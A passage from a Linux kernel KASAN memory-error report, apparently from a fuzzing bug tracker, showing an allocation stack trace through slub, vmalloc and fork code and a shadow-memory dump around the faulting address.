 refill_objects+0x331/0x3c0 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x2e6/0x730 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x577/0x7c0 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 __vmalloc_area_node mm/vmalloc.c:3855 [inline]
 __vmalloc_node_range_noprof+0x5d5/0x1730 mm/vmalloc.c:4064
 __vmalloc_node_noprof+0xc2/0x100 mm/vmalloc.c:4124
 alloc_thread_stack_node kernel/fork.c:355 [inline]
 dup_task_struct+0x275/0x9a0 kernel/fork.c:924
 copy_process+0x508/0x3cd0 kernel/fork.c:2050
 kernel_clone+0x248/0x8e0 kernel/fork.c:2653
 user_mode_thread+0x110/0x180 kernel/fork.c:2729
 call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
page_owner free stack trace missing

Memory state around the buggy address:
 ffff88810e2e2480: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
 ffff88810e2e2500: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
>ffff88810e2e2580: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
                                        ^
 ffff88810e2e2600: 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc
 ffff88810e2e2680: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
==================================================================
]

map[]